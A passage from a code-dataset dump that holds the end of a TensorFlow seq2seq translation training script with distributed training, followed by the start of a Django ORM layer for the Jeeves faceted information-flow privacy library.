5.0,\"Clip gradients to this norm.\")\ntf.app.flags.DEFINE_integer(\"batch_size\", 128,\"Batch size to use during training.\")\n\n# Train process\ntf.app.flags.DEFINE_integer(\"max_train_data_size\", 100000,\n \"Limit on the size of training data (0: no limit).\")\ntf.app.flags.DEFINE_string(\"data_dir\", \".\",\n \"Data directory\")\ntf.app.flags.DEFINE_string(\"train_dir\", \".\",\n \"Training directory.\")\ntf.app.flags.DEFINE_string(\"log_dir\", \".\",\n \"directory for summary\")\ntf.app.flags.DEFINE_integer(\"steps_per_checkpoint\", 200, \n \"How many training steps to do per checkpoint.\")\ntf.app.flags.DEFINE_string(\"params_path\", \"\", \n \"specify the model parameters to restore from to test a model\")\ntf.app.flags.DEFINE_string(\"gpu\", None,\n \"specify the gpu to use\")\n# Destributed\ntf.app.flags.DEFINE_string('job_name', '', 'One of \"ps\", \"worker\"')\ntf.app.flags.DEFINE_string('ps_hosts', '',\n \"\"\"Comma-separated list of hostname:port for the \"\"\"\n \"\"\"parameter server jobs. e.g. \"\"\"\n \"\"\"'machine1:2222,machine2:1111,machine2:2222'\"\"\")\ntf.app.flags.DEFINE_string('worker_hosts', '',\n \"\"\"Comma-separated list of hostname:port for the \"\"\"\n \"\"\"worker jobs. e.g. \"\"\"\n \"\"\"'machine1:2222,machine2:1111,machine2:2222'\"\"\")\ntf.app.flags.DEFINE_integer('num_to_aggregate', None, \"how many to aggregate\")\ntf.app.flags.DEFINE_integer('task_id', 0, \"task_id\")\n\n# Functional\ntf.app.flags.DEFINE_boolean(\"self_test\", False,\n \"Run a self-test if this is set to True.\")\ntf.app.flags.DEFINE_boolean(\"distributed\", False,\n \"Set to True for interactive decoding.\")\nFLAGS = tf.app.flags.FLAGS\n\n## Some pre-defined simbols\n_PAD = b\"_PAD\"\n_GO = b\"_GO\"\n_EOS = b\"_EOS\"\n_UNK = b\"_UNK\"\n_START_VOCAB = [_PAD, _GO, _EOS, _UNK]\n\nPAD_ID = 0\nGO_ID = 1\nEOS_ID = 2\nUNK_ID = 3\n\n\ndef read_data(source_path, target_path, buckets, max_size=None):\n \"\"\"Read data from source and target files and put into buckets.\n\n Args:\n source_path: path to the files with token-ids for the source language.\n target_path: path to the file with token-ids for the target language;\n it must be aligned with the source file: n-th line contains the desired\n output for n-th line from the source_path.\n max_size: maximum number of lines to read, all other will be ignored;\n if 0 or None, data files will be read completely (no limit).\n\n Returns:\n data_set: a list of length len(buckets); data_set[n] contains a list of\n (source, target) pairs read from the provided data files that fit\n into the n-th bucket, i.e., such that len(source) < buckets[n][0] and\n len(target) < buckets[n][1]; source and target are lists of token-ids.\n \"\"\"\n data_set = [[] for _ in buckets]\n with tf.gfile.GFile(source_path, mode=\"r\") as source_file:\n with tf.gfile.GFile(target_path, mode=\"r\") as target_file:\n source, target = source_file.readline(), target_file.readline()\n counter = 0\n while source and target and (not max_size or counter < max_size):\n counter += 1\n if counter % 100000 == 0:\n print(\" reading data line %d\" % counter)\n sys.stdout.flush()\n source_ids = [int(x) for x in source.split()]\n target_ids = [int(x) for x in target.split()]\n target_ids.append(EOS_ID)\n for bucket_id, (source_size, target_size) in enumerate(buckets):\n if len(source_ids) < source_size and len(target_ids) < target_size:\n data_set[bucket_id].append([source_ids, target_ids])\n break\n source, target = source_file.readline(), target_file.readline()\n return data_set\n\n\n\ndef create_model(session, forward_only, cell_model, input_vocab, output_vocab, buckets, model_checkpoint_path):\n \"\"\"Create translation model and initialize or load parameters in session.\"\"\"\n model = seq2seq_model.Seq2SeqModel(\n input_vocab, output_vocab, buckets,\n FLAGS.size, FLAGS.num_layers, FLAGS.max_gradient_norm, FLAGS.batch_size,\n FLAGS.learning_rate, FLAGS.learning_rate_decay_factor,\n forward_only=forward_only, cell_model=cell_model, max_to_keep=10)\n #for each in model.grads:\n # for e in each:\n # print(e.name,e)\n # print (\"\")\n #for each in tf.trainable_variables():\n # print(each.name, each.get_shape())\n #\n #exit(0)\n\n # check the state file anyway\n ckpt = tf.train.get_checkpoint_state(FLAGS.train_dir)\n ckpt_path = ckpt.model_checkpoint_path\n if ckpt_path.find(\"/\") != 0:\n ckpt_path = os.join(os.getcwd() ,ckpt_path) \n if ckpt and tf.gfile.Exists(ckpt_path):\n # we still check if a param is specified manully before restore\n if model_checkpoint_path != \"\":\n ckpt_path = model_checkpoint_path\n print(\"Reading model parameters from %s\" % ckpt_path)\n model.saver.restore(session, ckpt_path)\n else:\n print(\"Created model with fresh parameters.\")\n session.run(tf.initialize_all_variables())\n return model\n\ndef train(train_set, dev_set,\n buckets, train_buckets_scale,\n train_dir, log_dir, steps_per_checkpoint, gpu):\n \"\"\"Train a en->fr translation model using WMT data.\"\"\"\n with tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) as sess:\n core_str = \"\"\n if gpu is None or gpu == \"\":\n core_str = \"/cpu:0\"\n else:\n core_str = \"/gpu:%d\" % int(gpu)\n with tf.device(core_str):\n # Create model.\n print(\"Creating %d layers of %d units.\" % (FLAGS.num_layers, FLAGS.size))\n model = create_model(sess, False, FLAGS.cell_model, FLAGS.input_vocab_size, FLAGS.output_vocab_size, buckets, \"\")\n\n\n # This is the training loop.\n step_time, loss = 0.0, 0.0\n current_step = 0\n previous_losses = []\n while True:\n # Choose a bucket according to data distribution. We pick a random number\n # in [0, 1] and use the corresponding interval in train_buckets_scale.\n random_number_01 = np.random.random_sample()\n bucket_id = min([i for i in xrange(len(train_buckets_scale)) if train_buckets_scale[i] > random_number_01])\n\n # Get a batch and make a step.\n start_time = time.time()\n\n encoder_inputs, decoder_inputs, target_weights = model.get_batch(train_set, bucket_id)\n _, step_loss, _ = model.step(sess, encoder_inputs, decoder_inputs, target_weights, bucket_id, False)\n\n step_time += (time.time() - start_time) / steps_per_checkpoint\n\n loss += step_loss / steps_per_checkpoint\n\n current_step += 1\n \n perplexity = math.exp(loss) if loss < 300 else float('inf')\n print (\"global step %d learning rate %.4f step-time %.2f perplexity \"\n \"%.2f\" % (model.global_step.eval(), model.learning_rate.eval(),\n step_time, perplexity))\n # Once in a while, we save checkpoint, print statistics, and run evals.\n if current_step % steps_per_checkpoint == 0:\n\n # Decrease learning rate if no improvement was seen over last 3 times.\n if len(previous_losses) > 2 and loss > max(previous_losses[-3:]):\n sess.run(model.learning_rate_decay_op)\n previous_losses.append(loss)\n # Save checkpoint and zero timer and loss.\n model.saver.save(sess, os.path.join(train_dir, \"model_single.ckpt\"), global_step=model.global_step)\n step_time, loss = 0.0, 0.0\n # Run evals on development set and print their perplexity.\n for bucket_id in xrange(len(buckets)):\n if len(dev_set[bucket_id]) == 0:\n print(\" eval: empty bucket %d\" % (bucket_id))\n continue\n encoder_inputs, decoder_inputs, target_weights = model.get_batch(\n dev_set, bucket_id)\n _, eval_loss, _ = model.step(sess, encoder_inputs, decoder_inputs,\n target_weights, bucket_id, True)\n eval_ppx = math.exp(eval_loss) if eval_loss < 300 else float('inf')\n print(\" eval: bucket %d perplexity %.2f\" % (bucket_id, eval_ppx))\n sys.stdout.flush()\n\ndef train_distributed(target,\n train_set, dev_set,buckets, train_buckets_scale,\n train_dir, log_dir, steps_per_checkpoint, gpu,\n cluster_spec, task_id):\n # Number of workers and parameter servers are infered from the workers and ps\n # hosts string.\n num_workers = len(cluster_spec.as_dict()['worker'])\n num_parameter_servers = len(cluster_spec.as_dict()['ps'])\n if FLAGS.num_to_aggregate == None:\n num_replicas_to_aggregate = num_workers\n else:\n num_replicas_to_aggregate = FLAGS.num_to_aggregate\n\n assert num_workers > 0 and num_parameter_servers > 0, (' num_workers and num_parameter_servers must be > 0.')\n\n is_chief = (task_id == 0)\n core_str = \"\" \n if gpu is None or gpu == \"\":\n core_str = \"/cpu:0\" \n else:\n core_str = \"/gpu:%d\" % int(gpu)\n if train_dir.find(\"/\") != 0:\n train_dir = os.path.join(os.getcwd(), train_dir)\n # Ops are assigned to worker by default.\n with tf.device(\"/cpu:0\"):\n with tf.device(tf.train.replica_device_setter(cluster = cluster_spec, worker_device=\"/job:worker/task:%d%s\" % (task_id, core_str))):\n # On ps we use cpu only\n print(\"Creating model: %d to aggregate, %d replicas in total and this is %d ...\" %(num_replicas_to_aggregate, num_workers, task_id))\n # Use Nick's own Parallell models\n param_device_str = \"\"\n model = seq2seq_model.Seq2SeqModelParallel(FLAGS.input_vocab_size, FLAGS.output_vocab_size, buckets, FLAGS.size,\n FLAGS.num_layers, FLAGS.max_gradient_norm, FLAGS.batch_size, FLAGS.learning_rate,\n FLAGS.learning_rate_decay_factor, FLAGS.cell_model,\n num_samples=1024, forward_only=False, max_to_keep=10,\n replicas_to_aggregate=num_replicas_to_aggregate,\n replica_id=task_id,\n total_num_replicas=num_workers,\n param_device_str=param_device_str)\n\n # input_graph_path = \"model/graph.pbtxt\"\n # input_saver_def_path = \"\"\n # input_binary=False\n # input_checkpoint_path = \"model/model.ckpt-6201\"\n # output_node_names = \",\".join([each.name for each in tf.all_variables()]) \n # restore_op_name = \"save/restore_all\" \n # filename_tensor_name = \"save/Const:0\"\n # output_graph_path = \"sub_graph.pbtxt\"\n # clear_devices = True\n # freeze_graph.freeze_graph(input_graph_path, input_saver_def_path,\n # input_binary, input_checkpoint_path,\n # output_node_names, restore_op_name,\n # filename_tensor_name, output_graph_path,\n # clear_devices, \"\")\n # return\n\n # each for one bucket, need more consideration here\n init_tokens_ops = [e.get_init_tokens_op() for e in model.sync_opts]\n chief_queue_runners = [e.get_chief_queue_runner() for e in model.sync_opts]\n #clean_up_ops = [e.get_clean_up_op() for e in model.sync_opts]\n\n init_op = tf.initialize_all_variables()\n sv = tf.train.Supervisor(is_chief=is_chief,\n init_op=init_op,\n global_step=model.global_step,\n logdir=train_dir,\n summary_op=None)\n\n print(\" ##################################################### \")\n sess_config = tf.ConfigProto(allow_soft_placement=True)\n if is_chief:\n print(\"Worker %d: Initializing session...\" % task_id)\n else:\n print(\"Worker %d: Waiting for session to be initialized...\" % task_id)\n sess = sv.prepare_or_wait_for_session(target, config=sess_config)\n # Start the queue runners.\n if is_chief:\n print(\"Starting chief queue runner and running init_tokens_op\")\n for each in chief_queue_runners:\n sv.start_queue_runners(sess, [each])\n for each in init_tokens_ops:\n sess.run(each)\n\n print (\"Start main loop...\")\n\n step_time, loss = 0.0, 0.0\n current_step = 0 \n previous_losses = []\n \n while not sv.should_stop():\n start_time = time.time()\n random_number_01 = np.random.random_sample()\n bucket_id = min([i for i in xrange(len(train_buckets_scale)) if train_buckets_scale[i] > random_number_01])\n encoder_inputs, decoder_inputs, target_weights = model.get_batch(train_set, bucket_id)\n step_loss, local_step, global_step = model.step(sess, encoder_inputs, decoder_inputs, target_weights, bucket_id, False)\n step_time += (time.time() - start_time) / FLAGS.steps_per_checkpoint\n loss += step_loss / FLAGS.steps_per_checkpoint\n all_batches = 0\n\n for each in local_step:\n all_batches += each \n\n perplexity = math.exp(loss) if loss < 300 else float('inf')\n current_step += 1\n\n print(\"loop:%d done, bucket:%s, local:%s, global:%s, lr:%.4f, all_batches:%d, time:%.2f, ppx:%.3f\" % (current_step, \n str(_buckets[bucket_id]),\n str(local_step),\n str(global_step),\n model.learning_rate.eval(session=sess),\n all_batches,\n step_time,\n perplexity))\n \n if global_step % 25 == 0:\n step_time, loss = 0.0, 0.0\n # Run evals on development set and print their perplexity.\n for bucket_id in xrange(len(_buckets)):\n if len(dev_set[bucket_id]) == 0:\n print(\" eval: empty bucket %d\" % (bucket_id))\n continue\n encoder_inputs, decoder_inputs, target_weights = model.get_batch(dev_set, bucket_id)\n _, eval_loss, _ = model.step(sess, encoder_inputs, decoder_inputs, target_weights, bucket_id, True)\n eval_ppx = math.exp(eval_loss) if eval_loss < 300 else float('inf')\n print(\" eval: bucket %d perplexity %.2f\" % (bucket_id, eval_ppx))\n\n if global_step % steps_per_checkpoint == 0:\n # Decrease learning rate if no improvement was seen over last 3 times.\n # Only chief worker is involved in checking learning rate and checkpoint saving\n if is_chief:\n # Save checkpoint and zero timer and loss.\n if len(previous_losses) > 2 and loss > max(previous_losses[-3:]):\n sess.run(model.learning_rate_decay_op)\n previous_losses.append(loss)\n model.saver.save(sess, os.path.join(train_dir, \"model_distributed.ckpt\"), global_step=model.global_step)\n sys.stdout.flush()\n\n \n print(\"about to stop with step %d...\" % step)\n sv.stop()\n # Save after the training ends.\n if is_chief:\n print(\"creating checkpoint...\")\n model.saver.save(sess, os.path.join(train_dir,'model.ckpt'), global_step=model.global_step)\n print(\"All done.\")\n\ndef self_test():\n \"\"\"Test the translation model.\"\"\"\n with tf.Session() as sess:\n print(\"Self-test for neural translation model.\")\n # Create model with vocabularies of 10, 2 small buckets, 2 layers of 32.\n model = seq2seq_model.Seq2SeqModel(10, 10, [(3, 3), (6, 6)], 32, 2,\n\t\t\t\t5.0, 32, 0.3, 0.99, num_samples=8, use_lstm=True)\n sess.run(tf.initialize_all_variables())\n\n # Fake data set for both the (3, 3) and (6, 6) bucket.\n data_set = ([([1, 1], [2, 2]), ([3, 3], [4]), ([5], [6])],\n [([1, 1, 1, 1, 1], [2, 2, 2, 2, 2]), ([3, 3, 3], [5, 6])])\n for _ in xrange(5): # Train the fake model for 5 steps.\n bucket_id = random.choice([0, 1])\n encoder_inputs, decoder_inputs, target_weights = model.get_batch(\n data_set, bucket_id)\n model.step(sess, encoder_inputs, decoder_inputs, target_weights,\n bucket_id, False)\n\ndef get_data_with_bucket(data_dir, max_size, buckets):\n # read data to max_train_data_size\n input_train = os.path.join(data_dir, \"train.ids.in\")\n output_train = os.path.join(data_dir, \"train.ids.out\")\n input_dev = os.path.join(data_dir, \"valid.ids.in\")\n output_dev = os.path.join(data_dir, \"valid.ids.out\")\n\n dev_set = read_data(input_dev, output_dev, _buckets)\n train_set = read_data(input_train, output_train, _buckets, max_size)\n\n train_bucket_sizes = [len(train_set[b]) for b in xrange(len(_buckets))]\n train_total_size = float(sum(train_bucket_sizes))\n # A bucket scale is a list of increasing numbers from 0 to 1 that we'll use\n # to select a bucket. Length of [scale[i], scale[i+1]] is proportional to\n # the size if i-th training bucket, as used later.\n train_buckets_scale = [sum(train_bucket_sizes[:i + 1]) / train_total_size for i in xrange(len(train_bucket_sizes))]\n return [train_set, dev_set, train_buckets_scale]\n\n \n# We use a number of buckets and pad to the closest one for efficiency.\n# See seq2seq_model.Seq2SeqModel for details of how they work.\n#_buckets = [(20, 25)]\n_buckets = [(30, 40)]\n\ndef main(_):\n if FLAGS.self_test:\n self_test()\n if not FLAGS.distributed:\n # train for single machine\n train_set, dev_set, train_buckets_scale = get_data_with_bucket(FLAGS.data_dir, FLAGS.max_train_data_size, _buckets)\n train(train_set, dev_set,_buckets, train_buckets_scale,\n FLAGS.train_dir, FLAGS.log_dir, FLAGS.steps_per_checkpoint, FLAGS.gpu)\n else:\n # parser the hosts params\n ps_hosts = re.split(',', FLAGS.ps_hosts)\n worker_hosts = re.split(',', FLAGS.worker_hosts)\n print('PS hosts are: %s' % ps_hosts)\n print('Worker hosts are: %s' % worker_hosts)\n cluster_spec = tf.train.ClusterSpec({'ps': ps_hosts,'worker': worker_hosts})\n\n # Create A server based on cluster specification\n server = tf.train.Server(cluster_spec, job_name=FLAGS.job_name, task_index=FLAGS.task_id)\n\n if FLAGS.job_name == 'ps':\n server.join()\n return\n # train distributed \n train_set, dev_set, train_buckets_scale = get_data_with_bucket(FLAGS.data_dir, FLAGS.max_train_data_size, _buckets)\n train_distributed(server.target, train_set, dev_set, _buckets, train_buckets_scale,\n FLAGS.train_dir, FLAGS.log_dir, FLAGS.steps_per_checkpoint, FLAGS.gpu,\n cluster_spec, FLAGS.task_id)\nif __name__ == \"__main__\":\n tf.app.run()\n","sub_path":"Nick_seq2seq.py","file_name":"Nick_seq2seq.py","file_ext":"py","file_size_in_byte":22578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"288309689","text":"from django.db import models\nfrom django.db.models.fields import IntegerField\nfrom django.db.models.query import QuerySet\nfrom django.db.models import Manager\nfrom django.db.models import Field, CharField, ForeignKey\nfrom django.db.models.loading import get_model\nimport django.db.models.fields.related\n\nimport JeevesLib\nfrom JeevesLib import fexpr_cast\nfrom fast.AST import Facet, FObject, Unassigned, get_var_by_name, FExpr\n\nimport string\nimport random\nimport itertools\n\nclass JeevesQuerySet(QuerySet):\n @JeevesLib.supports_jeeves\n def get_jiter(self):\n self._fetch_all()\n\n def get_env(obj, fields, env):\n if hasattr(obj, \"jeeves_vars\"):\n vs = unserialize_vars(obj.jeeves_vars)\n else:\n vs = {}\n for var_name, value in vs.iteritems():\n if var_name in env and env[var_name] != value:\n return None\n env[var_name] = value\n acquire_label_by_name(self.model._meta.app_label, var_name)\n for field, subs in (fields.iteritems() if fields else []):\n if field and get_env(getattr(obj, field), subs, env) is None:\n return None\n return env\n\n results = []\n for obj in self._result_cache:\n env = get_env(obj, self.query.select_related, {})\n if env is not None:\n results.append((obj, env))\n return results\n\n def get(self, use_base_env=False, **kwargs):\n l = self.filter(**kwargs).get_jiter()\n if len(l) == 0:\n return None\n \n for (o, _) in l:\n if o.jeeves_id != l[0][0].jeeves_id:\n raise Exception(\"wow such error: get() found rows for more than one jeeves_id\")\n\n cur = None\n for (o, conditions) in l:\n old = cur\n cur = FObject(o)\n for var_name, val in conditions.iteritems():\n if val:\n cur = Facet(acquire_label_by_name(self.model._meta.app_label, var_name), cur, old)\n else:\n cur = Facet(acquire_label_by_name(self.model._meta.app_label, var_name), old, cur)\n try:\n return cur.partialEval({} if use_base_env else JeevesLib.jeevesState.pathenv.getEnv())\n except TypeError:\n raise Exception(\"wow such error: could not find a row for every condition\")\n\n def filter(self, **kwargs):\n l = []\n for argname, _ in kwargs.iteritems():\n t = argname.split('__')\n if len(t) > 1:\n l.append(\"__\".join(t[:-1]))\n if len(l) > 0:\n return super(JeevesQuerySet, self).filter(**kwargs).select_related(*l)\n else:\n return super(JeevesQuerySet, self).filter(**kwargs)\n\n @JeevesLib.supports_jeeves\n def all(self):\n t = JeevesLib.JList2([])\n env = JeevesLib.jeevesState.pathenv.getEnv()\n for val, cond in self.get_jiter():\n popcount = 0\n for vname, vval in cond.iteritems():\n if vname not in env:\n v = acquire_label_by_name(self.model._meta.app_label, vname)\n JeevesLib.jeevesState.pathenv.push(v, vval)\n popcount += 1\n elif env[vname] != vval:\n break\n else:\n t.append(val)\n for _ in xrange(popcount):\n JeevesLib.jeevesState.pathenv.pop()\n return t\n\n @JeevesLib.supports_jeeves\n def delete(self):\n # can obviously be optimized\n # TODO write tests for this\n for val, cond in self.get_jiter():\n popcount = 0\n for vname, vval in cond.iteritems():\n if vname not in JeevesLib.jeevesState.pathenv.getEnv():\n v = acquire_label_by_name(self.model._meta.app_label, vname)\n JeevesLib.jeevesState.pathenv.push(v, vval)\n popcount += 1\n val.delete()\n for _ in xrange(popcount):\n JeevesLib.jeevesState.pathenv.pop()\n\n\n @JeevesLib.supports_jeeves\n def exclude(self, **kwargs):\n raise NotImplementedError\n\n # methods that return a queryset subclass of the ordinary QuerySet\n # need to be overridden\n\n def values(self, *fields):\n raise NotImplementedError\n\n def values_list(self, *fields, **kwargs):\n raise NotImplementedError\n\n def dates(self, field_name, kind, order='ASC'):\n raise NotImplementedError\n\n def datetimes(self, field_name, kind, order='ASC', tzinfo=None):\n raise NotImplementedError\n\n def none(self):\n raise NotImplementedError\n\nclass JeevesManager(Manager):\n @JeevesLib.supports_jeeves\n def get_queryset(self):\n return (super(JeevesManager, self).get_queryset()\n ._clone(klass=JeevesQuerySet)\n .order_by('jeeves_id')\n )\n \n def all(self):\n return super(JeevesManager, self).all().all()\n\n @JeevesLib.supports_jeeves\n def create(self, **kw):\n m = self.model(**kw)\n m.save()\n return m\n\nalphanum = string.digits + string.letters\nsysrand = random.SystemRandom()\nJEEVES_ID_LEN = 32\ndef get_random_jeeves_id():\n return \"\".join(alphanum[sysrand.randint(0, len(alphanum)-1)]\n for i in xrange(JEEVES_ID_LEN))\n\n# From python docs\ndef powerset(iterable):\n \"powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3)\"\n s = list(iterable)\n return itertools.chain.from_iterable(\n itertools.combinations(s, r) for r in range(len(s)+1))\n\ndef clone(old):\n new_kwargs = dict([(fld.name, getattr(old, fld.name)) for fld in old._meta.fields\n if not isinstance(fld, JeevesForeignKey)]);\n ans = old.__class__(**new_kwargs)\n for fld in old._meta.fields:\n if isinstance(fld, JeevesForeignKey):\n setattr(ans, fld.attname, getattr(old, fld.attname))\n return ans\n\ndef serialize_vars(e):\n return ';' + ''.join('%s=%d;' % (var_name, var_value)\n for var_name, var_value in e.iteritems())\n\ndef unserialize_vars(s):\n t = s[1:].split(';')\n e = {}\n for u in t:\n if u != \"\":\n v = u.split('=')\n e[v[0]] = bool(int(v[1]))\n return e\n\ndef fullEval(val, env):\n p = val.partialEval(env)\n return p.v\n\ndef acquire_label_by_name(app_label, label_name):\n if JeevesLib.doesLabelExist(label_name):\n return JeevesLib.getLabel(label_name)\n else:\n label = JeevesLib.mkLabel(label_name, uniquify=False)\n model_name, field_name, jeeves_id = label_name.split('__')\n model = get_model(app_label, model_name)\n # TODO: optimization: most of the time this obj will be the one we are\n # already fetching\n obj = model.objects.get(use_base_env=True, jeeves_id=jeeves_id)\n restrictor = getattr(model, 'jeeves_restrict_' + field_name)\n JeevesLib.restrict(label, lambda ctxt : restrictor(obj, ctxt), True)\n return label\n \ndef get_one_differing_var(e1, e2):\n if len(e1) != len(e2):\n return None\n ans = None\n for v in e1:\n if v in e2:\n if e1[v] != e2[v]:\n if ans is None:\n ans = v\n else:\n return None\n else:\n return None\n return ans\n\ndef label_for(*field_names):\n def decorator(f):\n f._jeeves_label_for = field_names\n return f\n return decorator\n\n#from django.db.models.base import ModelBase\n#class JeevesModelBase(ModelBase):\n# def __new__(cls, name, bases, attrs):\n# obj = super(ModelBase, cls).__new__(cls, name, bases, attrs)\n\n# return obj\n\n# Make a Jeeves Model that enhances the vanilla Django model with information\n# about how labels work and that kind of thing. We'll also need to override\n# some methods so that we can create records and make queries appropriately.\n\nclass JeevesModel(models.Model):\n def __init__(self, *args, **kw):\n self.jeeves_base_env = JeevesLib.jeevesState.pathenv.getEnv()\n super(JeevesModel, self).__init__(*args, **kw)\n\n self._jeeves_labels = {}\n field_names = [f.name for f in self._meta.concrete_fields]\n for attr in dir(self.__class__):\n if attr.startswith('jeeves_restrict_'):\n value = getattr(self.__class__, attr)\n label_name = attr[len('jeeves_restrict_'):]\n assert label_name not in self._jeeves_labels\n if hasattr(value, '_jeeves_label_for'):\n self._jeeves_labels[label_name] = value._jeeves_label_for\n else:\n assert label_name in field_names\n self._jeeves_labels[label_name] = (label_name,)\n\n def __setattr__(self, name, value):\n field_names = [field.name for field in self._meta.concrete_fields] if hasattr(self, '_meta') else []\n if name in field_names and name not in ('jeeves_vars', 'jeeves_id', 'id'):\n old_val = getattr(self, name) if hasattr(self, name) else \\\n Unassigned(\"attribute '%s' in %s\" % (name, self.__class__.__name__))\n models.Model.__setattr__(self, name, JeevesLib.jassign(old_val, value, self.jeeves_base_env))\n else:\n models.Model.__setattr__(self, name, value)\n\n objects = JeevesManager()\n jeeves_id = CharField(max_length=JEEVES_ID_LEN, null=False)\n jeeves_vars = CharField(max_length=1024, null=False)\n\n @JeevesLib.supports_jeeves\n def do_delete(self, e):\n if len(e) == 0:\n delete_query = self.__class__._objects_ordinary.filter(jeeves_id=self.jeeves_id)\n delete_query.delete()\n else:\n filter_query = self.__class__._objects_ordinary.filter(jeeves_id=self.jeeves_id)\n objs = list(filter_query)\n for obj in objs:\n eobj = unserialize_vars(obj.jeeves_vars)\n if any(var_name in eobj and eobj[var_name] != var_value\n for var_name, var_value in e.iteritems()):\n continue\n if all(var_name in eobj and eobj[var_name] == var_value\n for var_name, var_value in e.iteritems()):\n super(JeevesModel, obj).delete()\n continue\n addon = \"\"\n for var_name, var_value in e.iteritems():\n if var_name not in eobj:\n new_obj = clone(obj)\n if addon != \"\":\n new_obj.id = None # so when we save a new row will be made\n new_obj.jeeves_vars += addon + '%s=%d;' % (var_name, not var_value)\n addon += '%s=%d;' % (var_name, var_value)\n super(JeevesModel, new_obj).save()\n\n @JeevesLib.supports_jeeves\n def acquire_label(self, field_name):\n label_name = '%s__%s__%s' % (self.__class__.__name__, field_name, self.jeeves_id)\n if JeevesLib.doesLabelExist(label_name):\n return JeevesLib.getLabel(label_name)\n else:\n label = JeevesLib.mkLabel(label_name, uniquify=False)\n restrictor = getattr(self, 'jeeves_restrict_' + field_name)\n JeevesLib.restrict(label, lambda ctxt : restrictor(self, ctxt), True)\n return label\n\n @JeevesLib.supports_jeeves\n def save(self, *args, **kw):\n if not self.jeeves_id:\n self.jeeves_id = get_random_jeeves_id()\n\n if kw.get(\"update_field\", None) is not None:\n raise NotImplementedError(\"Partial saves not supported.\")\n\n field_names = set()\n for field in self._meta.concrete_fields:\n if not field.primary_key and not hasattr(field, 'through'):\n field_names.add(field.attname)\n\n for label_name, field_name_list in self._jeeves_labels.iteritems():\n label = self.acquire_label(label_name)\n for field_name in field_name_list:\n public_field_value = getattr(self, field_name)\n private_field_value = getattr(self, 'jeeves_get_private_' + field_name)(self)\n faceted_field_value = JeevesLib.mkSensitive(label, public_field_value, private_field_value).partialEval(JeevesLib.jeevesState.pathenv.getEnv())\n setattr(self, field_name, faceted_field_value)\n\n all_vars = []\n d = {}\n env = JeevesLib.jeevesState.pathenv.getEnv()\n for field_name in field_names:\n value = getattr(self, field_name)\n f = fexpr_cast(value).partialEval(env)\n all_vars.extend(v.name for v in f.vars())\n d[field_name] = f\n all_vars = list(set(all_vars))\n\n for p in powerset(all_vars):\n true_vars = list(p)\n false_vars = list(set(all_vars).difference(p))\n e = dict(env)\n e.update({tv : True for tv in true_vars})\n e.update({fv : False for fv in false_vars})\n\n self.do_delete(e)\n\n klass = self.__class__\n obj_to_save = klass(**{\n field_name : fullEval(field_value, e)\n for field_name, field_value in d.iteritems()\n })\n\n all_jid_objs = list(klass._objects_ordinary.filter(jeeves_id=obj_to_save.jeeves_id).all())\n all_relevant_objs = [obj for obj in all_jid_objs if\n all(field_name == 'jeeves_vars' or \n getattr(obj_to_save, field_name) == getattr(obj, field_name)\n for field_name in d)]\n while True:\n # check if we can collapse\n # if we can, repeat; otherwise, exit\n for i in xrange(len(all_relevant_objs)):\n other_obj = all_relevant_objs[i]\n diff_var = get_one_differing_var(e, unserialize_vars(other_obj.jeeves_vars))\n if diff_var is not None:\n super(JeevesModel, other_obj).delete()\n del e[diff_var]\n break\n else:\n break\n\n obj_to_save.jeeves_vars = serialize_vars(e)\n super(JeevesModel, obj_to_save).save(*args, **kw)\n\n @JeevesLib.supports_jeeves\n def delete(self, *args, **kw):\n if self.jeeves_id is None:\n return\n\n field_names = set()\n for field in self._meta.concrete_fields:\n if not field.primary_key and not hasattr(field, 'through'):\n field_names.add(field.attname)\n\n all_vars = []\n d = {}\n env = JeevesLib.jeevesState.pathenv.getEnv()\n for field_name in field_names:\n value = getattr(self, field_name)\n f = fexpr_cast(value).partialEval(env)\n all_vars.extend(v.name for v in f.vars())\n d[field_name] = f\n\n for p in powerset(all_vars):\n true_vars = list(p)\n false_vars = list(set(all_vars).difference(p))\n e = dict(env)\n e.update({tv : True for tv in true_vars})\n e.update({fv : False for fv in false_vars})\n\n self.do_delete(e)\n\n class Meta:\n abstract = True\n\n _objects_ordinary = Manager()\n\n @JeevesLib.supports_jeeves\n def __eq__(self, other):\n if isinstance(other, FExpr):\n return other == self\n return isinstance(other, self.__class__) and self.jeeves_id == other.jeeves_id\n\n @JeevesLib.supports_jeeves\n def __ne__(self, other):\n if isinstance(other, FExpr):\n return other != self\n return not (isinstance(other, self.__class__) and self.jeeves_id == other.jeeves_id)\n\nfrom django.contrib.auth.models import User\n@JeevesLib.supports_jeeves\ndef evil_hack(self, other):\n if isinstance(other, FExpr):\n return other == self\n return isinstance(other, self.__class__) and self.id == other.id\nUser.__eq__ = evil_hack \n\nclass JeevesRelatedObjectDescriptor(property):\n @JeevesLib.supports_jeeves\n def __init__(self, field):\n self.field = field\n self.cache_name = field.get_cache_name()\n\n @JeevesLib.supports_jeeves\n def get_cache(self, instance):\n cache_attr_name = self.cache_name\n if hasattr(instance, cache_attr_name):\n cache = getattr(instance, cache_attr_name)\n if not isinstance(cache, dict):\n jid = getattr(instance, self.field.get_attname())\n assert not isinstance(jid, FExpr)\n cache = {jid : cache}\n setattr(instance, cache_attr_name, cache)\n else:\n cache = {}\n setattr(instance, cache_attr_name, cache)\n return cache\n\n @JeevesLib.supports_jeeves\n def __get__(self, instance, instance_type):\n if instance is None:\n return self\n\n cache = self.get_cache(instance)\n def getObj(jeeves_id):\n if jeeves_id is None:\n return None\n if jeeves_id not in cache:\n cache[jeeves_id] = self.field.to.objects.get(**{self.field.join_field.name:jeeves_id})\n return cache[jeeves_id]\n if instance is None:\n return self\n return JeevesLib.facetMapper(fexpr_cast(getattr(instance, self.field.get_attname())), getObj)\n\n @JeevesLib.supports_jeeves\n def __set__(self, instance, value):\n cache = self.get_cache(instance)\n def getID(obj):\n if obj is None:\n return None\n obj_jid = getattr(obj, self.field.join_field.name)\n if obj_jid is None:\n raise Exception(\"Object must be saved before it can be attached via JeevesForeignKey.\")\n cache[obj_jid] = obj\n return obj_jid\n ids = JeevesLib.facetMapper(fexpr_cast(value), getID)\n setattr(instance, self.field.get_attname(), ids)\n\nfrom django.db.models.fields.related import ForeignObject\nclass JeevesForeignKey(ForeignObject):\n requires_unique_target = False\n @JeevesLib.supports_jeeves\n def __init__(self, to, *args, **kwargs):\n self.to = to\n\n for f in self.to._meta.fields:\n if f.name == 'jeeves_id':\n self.join_field = f\n 